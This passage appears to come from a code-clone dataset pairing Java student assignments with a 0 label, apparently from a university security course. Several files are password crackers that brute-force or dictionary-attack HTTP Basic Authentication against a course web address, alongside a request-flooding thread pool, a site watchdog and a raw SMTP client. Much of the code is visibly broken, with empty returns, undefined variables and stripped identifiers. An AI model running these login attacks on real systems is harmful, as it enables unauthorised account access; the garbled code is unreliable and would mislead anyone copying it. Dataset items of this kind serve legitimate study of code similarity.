int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
237.java | 207.java | 0 |
import java.io.*;
import java.net.*;
import java.util.*;
import java.misc.BASE64Encoder;
public class Dictionary {
private String userId;
private String password;
ReadDictionary myWords = new ReadDictionary();
public Dictionary() {
myWords.openFile();
Authenticator.setDefault (new MyAuthenticator());
}
public String fetchURL (String urlString) {
StringBuffer sb = new StringBuffer();
HttpURLConnection connection;
Date startTime, endTime;
int responseCode = -1;
boolean retry = true;
URL url;
startTime = new Date();
System.out.println (" time :" + startTime);
while (retry == true)
{
try {
url = new URL (urlString);
connection = (HttpURLConnection)url.openConnection();
setUserId("");
setPassword("rhk8611");
System.out.println("Attempting get a response : " +connection.getURL() );
responseCode = connection.getResponseCode();
System.out.print(responseCode + " ");
if (responseCode == HttpURLConnection.HTTP_OK)
{
retry = false;
System.out.println("**** ACCESS GRANTED *****");
} else
{
retry = true;
throw new IOException(
"HTTP response : " + String.valueOf(responseCode) +
"\nResponse Message: " +connection.getResponseMessage() );
}
InputStream content = (InputStream)url.getContent();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) != null) {
sb.append (line);
}
} catch (MalformedURLException e) {
retry=false;
System.out.println ("Invalid URL" + e.getMessage());
} catch (IOException e) {
retry=true;
connection = null;
System.out.println ("Error URL \n" + e.getMessage());
}
}
endTime = new Date();
System.out.println ("Total time taken (Sec) :" + (endTime.getTime() - startTime.getTime())/1000);
return sb.toString();
}
public static void main (String args[]) {
Dictionary myGenerator = new Dictionary();
String pageFound = myGenerator.fetchURL("http://sec-crack.cs.rmit.edu./SEC/2/");
System.out.println(" ACCESSED ->\n" + pageFound);
}
class MyAuthenticator extends Authenticator {
protected PasswordAuthentication getPasswordAuthentication()
{
String username = getUserId();
String pass = myWords.readLine();
System.out.println(" Authenticating with -> " + pass);
return new PasswordAuthentication (username, pass.toCharArray());
}
}
public String getPassword()
{
return this.password;
}
public void setPassword(String password)
{
this.password = password;
}
public String getUserId()
{
return this.userId;
}
public void setUserId(String userId)
{
this.userId = userId;
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
162.java | 207.java | 0 |
package java.httputils;
import java.net.URL;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Iterator;
public class HttpRequestThreadPool
{
Hashtable h = new Hashtable();
int poolSize = 10;
ThreadGroup threadGroup = new ThreadGroup("Group" + System.currentTimeMillis());
String URL = "http://localhost:8080/";
int requestCount = 100;
public HttpRequestThreadPool()
{
super();
}
public void initMap()
{
for (int i = 0; i < getPoolSize(); i++)
{
RunnableHttpRequest client = new RunnableHttpRequest(
getURL(),
getRequestCount(),
"Thread" + System.currentTimeMillis(),
getThreadGroup(),
this
);
h.put(client, 0);
client.a();
}
}
public static void main (String[] args)
{
HttpRequestThreadPool pool = new HttpRequestThreadPool();
pool.setURL(args[0]);
pool.setPoolSize(Integer.parseInt(args[1]));
pool.setRequestCount(Integer.parseInt(args[2]));
pool.initMap();
while (!pool.allThreadsFinished())
{
try
{
Thread.currentThread().sleep(1000);
}
catch (InterruptedException e)
{
e.printStackTrace();
}
}
System.out.println(pool.getMap());
}
boolean allThreadsFinished()
{
boolean finished = true;
Enumeration enuma = getMap().keys();
while (enuma.hasMoreElements())
{
RunnableHttpRequest thread = ((RunnableHttpRequest)(enuma.nextElement()));
finished = finished &&
thread.getFinished().booleanValue();
}
return finished;
}
synchronized public Hashtable getMap()
{
return ;
}
synchronized public void setMap(Hashtable h)
{
this.h = h;
}
public int getPoolSize()
{
return poolSize;
}
public void setPoolSize(int i)
{
poolSize = i;
}
public ThreadGroup getThreadGroup()
{
return threadGroup;
}
public void setThreadGroup(ThreadGroup group)
{
threadGroup = group;
}
public int getRequestCount()
{
return requestCount;
}
public void setRequestCount(int i)
{
requestCount = i;
}
public String getURL()
{
return URL;
}
public void setURL(String string)
{
URL = string;
}
synchronized void setThreadAverageTime(RunnableHttpRequest req, int millis)
{
h.put(req, millis);
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
093.java | 207.java | 0 |
import java.io.*;
import java.text.*;
public class TestWatchDog{
class NegativeValueException extends Exception{
public NegativeValueException() { super("It is not Integer." ); }
public NegativeValueException(int n) { super(n + "- Negative Number Input.");}
public NegativeValueException(double n) {super(n +"Not Integer.");}
public NegativeValueException(String s){super("Invalid Data Type Input");}
}
public int getNumber()throws NegativeValueException, NumberFormatException, IOException{
BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));
int number;
try{
number = Integer.parseInt(stdin.readLine());
}catch (NumberFormatException e){throw e;}
if (number< 0) throw new NegativeValueException(number);
return number;
}
public String getStringInfo()throws Exception{
BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in));
String strInfo = stdin.readLine();
if ((strInfo.trim().equals(""))||(strInfo.equals("\r")))
throw new Exception( strInfo +" Invalid input!");
return strInfo;
}
public String getAnyKey()throws Exception{
BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in));
String key= stdin.readLine();
return key;
}
public static void main (String[]args){
String spec = "";
String smtpserver= "";
String mfrom = "";
String mto = "";
int port = 0;
int option =0;
int duration = 0;
int interval = 0;
boolean valid = false;
TestWatchDog twd = new TestWatchDog();
WatchDog wd = new WatchDog();
System.out.println("\n ***********************************************************");
System.out.println(" * *");
System.out.println(" * WatchDog Program ------ SEC Assignment Two *");
System.out.println(" * -------------------------------------------------- *");
System.out.println(" * Author: ID *");
System.out.println(" * -------------------------------------------------- *");
System.out.println(" * *");
System.out.println(" * < Options > *");
System.out.println(" * 1). Uses the default configuration monitor Web Site *");
System.out.println(" * ----- http://www.cs.rmit.edu./students/ *");
System.out.println(" * 2). Monitor the Web Site that user specified *");
System.out.println(" * *");
System.out.println(" ***********************************************************");
while (!valid){
System.out.print("\nPlease Choose option: ");
try{
option = twd.getNumber();
valid = true;
}catch(Exception e){System.out.println("Warning! Invalid Input!"
+ e.getMessage()+" Try again!");}
if ((option ==1)||(option ==2))
valid = true;
else{
System.out.println("Invalid Input. Try it again!");
valid = false;
}
}
if(option == 1){
System.out.println("\n Default Configuration:\n");
System.out.println("--> Monitor WebSite: " + wd.getMonitorURL());
System.out.println("--> Monitor Duration: " + 30*24 + " hours (30 days)");
System.out.println("--> Check Webpage Intervals: " + wd.getInterval()/(1000*60) + " minutes (24 hrs)");
System.out.println("--> SMTP server: " +wd.getSMTPServer() + " Port: " + wd.getPortnumber());
System.out.println("--> MailFrom: " + wd.getMailFrom());
System.out.println("--> MailTo: " + wd.getMailTo());
valid = false;
while (!valid){
System.out.print("\n Press EnterKey :");
try{
String key = twd.getAnyKey();
valid = true;
}catch(Exception e){System.out.println(e.getMessage());}
}
wd.FirstRead();
wd.print();
}
valid = false;
if(option == 2){
System.out.println("\n Modified the Configuration:\n");
while (!valid){
System.out.println("> Input the URL of the web <Usage: http://yallara.cs.rmit.edu./~/>: ");
try{
spec = twd.getStringInfo();
valid = true;
}catch(Exception e){System.out.println(e.getMessage());}
}
valid = false;
while (!valid){
System.out.println("> Input the Monitor Duration <Usage: 24 - (format: hours)>:");
try{
duration = twd.getNumber();
valid = true;
}catch(Exception e){System.out.println(e.getMessage());}
}
valid = false;
while (!valid){
System.out.println("> Input the Interval for Checking Webpage <Usage: 30 - (format: minutes)>:");
try{
interval = twd.getNumber();
valid = true;
}catch(Exception e){System.out.println(e.getMessage());}
}
valid = false;
while (!valid){
System.out.println("> Set the Mail Server <Usage: mail.rmit.edu.>:");
try{
smtpserver = twd.getStringInfo();
valid = true;
}catch(Exception e){System.out.println(e.getMessage());}
}
valid = false;
while (!valid){
System.out.println("> Set the Port Number <Usage: 25 - (default port 25 for smtp server)>:");
try{
port = twd.getNumber();
valid = true;
}catch(Exception e){System.out.println(e.getMessage());}
}
valid = false;
while (!valid){
System.out.println("> Set the MailFrom <Usage: @cs.rmit.edu.>:");
try{
mfrom = twd.getStringInfo();
valid = true;
}catch(Exception e){System.out.println(e.getMessage());}
}
valid = false;
while (!valid){
System.out.println("> Set the MailTo <Usage: @.rmit.edu.>:");
try{
mto = twd.getStringInfo();
valid = true;
}catch(Exception e){System.out.println(e.getMessage());}
}
System.out.println("\n new Configuration:\n");
System.out.println("-> Monitor WebSite: " + spec);
System.out.println("-> Monitor Duration: " + duration + " hours");
System.out.println("-> Check Webpage Intervals: " + interval + " minutes");
System.out.println("-> SMTP server: " +smtpserver + " Port: " + port);
System.out.println("-> MailFrom: " + mfrom);
System.out.println("-> MailTo: " + mto);
valid = false;
while (!valid){
System.out.print("\n Press EnterKey :");
try{
String key = twd.getAnyKey();
valid = true;
}catch(Exception e){System.out.println(e.getMessage());}
}
wd.setMonitorURL(spec);
wd.setMonitorDuration(duration);
wd.setMonitorInterval(interval);
wd.setSMTPServer(smtpserver);
wd.setSMTPPort(port);
wd.setMailFrom(mfrom);
wd.setMailTo(mto);
wd.FirstRead();
wd.print();
}
}
} |
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
080.java | 207.java | 0 |
import java.net.*;
import java.io.*;
import java.util.*;
public class PasswordCracker {
private static final char car= 'a';
private static final char END = 'z' + 1;
public static final int BRUTEFORCE = 0;
public static final int DICTIONARY = 1;
String urlName = null;
String user = null;
String filename = null;
int method;
int attempt_counter;
public static void main(String[] args) {
PasswordCracker cracker = null;
if ((args.length == 3) && (args[2].equalsIgnoreCase("BRUTEFORCE"))) {
cracker = new PasswordCracker(args[0], args[1], PasswordCracker.BRUTEFORCE, null);
}
else if ((args.length == 4) && (args[2].equalsIgnoreCase("DICTIONARY"))) {
cracker = new PasswordCracker(args[0], args[1], PasswordCracker.DICTIONARY, args[3]);
}
else {
System.out.println("Syntax: java PasswordCracker <username> <url> BRUTEFORCE ");
System.out.println(" java PasswordCracker <username> <url> DICTIONARY <sourcefile> ");
System.exit(1);
}
cracker.run();
}
public PasswordCracker(String user, String url, int method, String file) {
this.user = user;
this.urlName = url;
this.filename = file;
this.method = method;
}
public boolean run() {
String password;
s = 0;
end = 0;
try {
attempt_counter = 0;
URL target = new URL(urlName);
switch (this.method) {
case BRUTEFORCE:
s = System.currentTimeMillis();
for (char i = 0; i < END; i++) {
for (char j = 0; j < END; j++) {
for (char k = 0; k < END; k++) {
password = String.valueOf(i) + String.valueOf(j) + String.valueOf(k);
if (performConnection(target, user, password)) {
end = System.currentTimeMillis();
System.out.println("URL: \t\t" + target +
"\nUser: \t\t"+ user + "\nPassword: \t" + password);
System.out.println("Attempts: \t" + attempt_counter
+ "\nTotal time: \t" + ((end - a) / 1000.0f) + " seconds");
return true;
}
}
}
}
for (char i = 0; i < END; i++) {
for (char j = 0; j < END; j++) {
for (char k = 0; k < END; k++) {
password = String.valueOf(i) + String.valueOf(j) + String.valueOf(k);
if (isValidPassword(target, password)) {
end = System.currentTimeMillis();
System.out.println("Attempts: \t" + attempt_counter
+ "\nTotal time: \t" + ((end - d) / 1000.0f) + " seconds");
return true;
}
}
}
}
break;
case DICTIONARY:
try {
BufferedReader buf = new BufferedReader(new FileReader(filename));
s = System.currentTimeMillis();
{
password = buf.readLine();
if (password.length() == 3) {
if (performConnection(target, user, password)) {
end = System.currentTimeMillis();
System.out.println("URL: \t\t" + target +
"\nUser: \t\t"+ user + "\nPassword: \t" + password);
System.out.println("Attempts: \t" + attempt_counter
+ "\nTotal time: \t" + ((end - d) / 1000.0f) + " seconds");
return true;
}
}
}
while (password != null);
}
catch (FileNotFoundException e) {
System.out.println("File \"" + filename + "\" not found");
}
catch (IOException ioe) {
System.out.println("IO Error " + ioe);
}
break;
default:
return false;
}
}
catch (Exception e) {
System.out.println("ERROR: " + e.getMessage());
}
end = System.currentTimeMillis();
System.out.println("Attempts: \t" + attempt_counter +
"\nTotal time: \t" + ((end - d) / 1000.0f) + " seconds");
return true;
}
private boolean isValidPassword(URL target, String password) throws Exception {
char letter[] = new char[3];
String generated = null;
letter[0] = password.charAt(0);
for (int i = 0; i < 2; i++) {
letter[1] = password.charAt(1);
for (int j = 0; j < 2; j++) {
letter[2] = password.charAt(2);
for (int k = 0; k < 2; k++) {
generated = String.valueOf(letter[0]) + String.valueOf(letter[1]) + String.valueOf(letter[2]);
if ((Character.isUpperCase(letter[0]) == true) ||
(Character.isUpperCase(letter[1]) == true) ||
(Character.isUpperCase(letter[2]) == true)) {
if (performConnection(target, user, generated) == true) {
System.out.println("URL: \t\t" + target + "\nUser: \t\t"+ user +
"\nPassword: \t" + generated);
return true;
}
}
letter[2] = Character.toUpperCase(letter[2]);
}
letter[1] = Character.toUpperCase(letter[1]);
}
letter[0] = Character.toUpperCase(letter[0]);
}
return false;
}
private boolean performConnection(URL target, String username, String password) throws Exception {
HttpURLConnection connection = null;
try {
attempt_counter++;
connection = (HttpURLConnection) target.openConnection();
connection.setRequestProperty("Authorization", " " + Base64.encode(username + ":" + password));
switch (connection.getResponseCode() / 100) {
case 2:
System.out.println("Connected successfully");
return true;
default:
return false;
}
}
catch (Exception e) {
throw new Exception("Failed connect " + target);
}
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
179.java | 207.java | 0 | import java.net.*;
import java.io.*;
public class EmailClient
{
private String sender, recipient, hostName;
public EmailClient(String nSender, String nRecipient, String nHost)
{
sender = nSender;
recipient = nRecipient;
hostName = nHost;
}
public void sendMail(String subject, String message)
{
try
{
Socket s1=null;
InputStream is = null;
OutputStream os = null;
DataOutputStream = null;
s1 = new Socket(hostName,25);
is = s1.getInputStream();
os = s1.getOutputStream();
bd = new DataOutputStream(os);
BufferedReader response = new BufferedReader(new InputStreamReader(is));
bd.writeBytes("HELO "+ InetAddress.getLocalHost().getHostName() + "\r\n");
waitForSuccessResponse(response);
bd.writeBytes("MAIL FROM:"+sender+"\n");
waitForSuccessResponse(response);
bd.writeBytes("RCPT :"+recipient+"\n");
waitForSuccessResponse(response);
bd.writeBytes("data"+"\n");
bd.writeBytes("Subject:"+subject+"\n");
bd.writeBytes(message+"\n.\n");
waitForSuccessResponse(response);
}
catch (UnknownHostException badUrl)
{
System.out.println("Host unknown.");
}
catch (EOFException eof)
{
System.out.println("<EOF>");
}
catch (Exception e)
{
System.out.println("got exception: "+e);
}
}
private static void waitForSuccessResponse(BufferedReader response) throws IOException
{
String rsp;
boolean r250 = false;
while( ! r250 )
{
rsp = response.readLine().trim();
if(rsp.startsWith("250"))
r250 = true;
}
}
} |
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
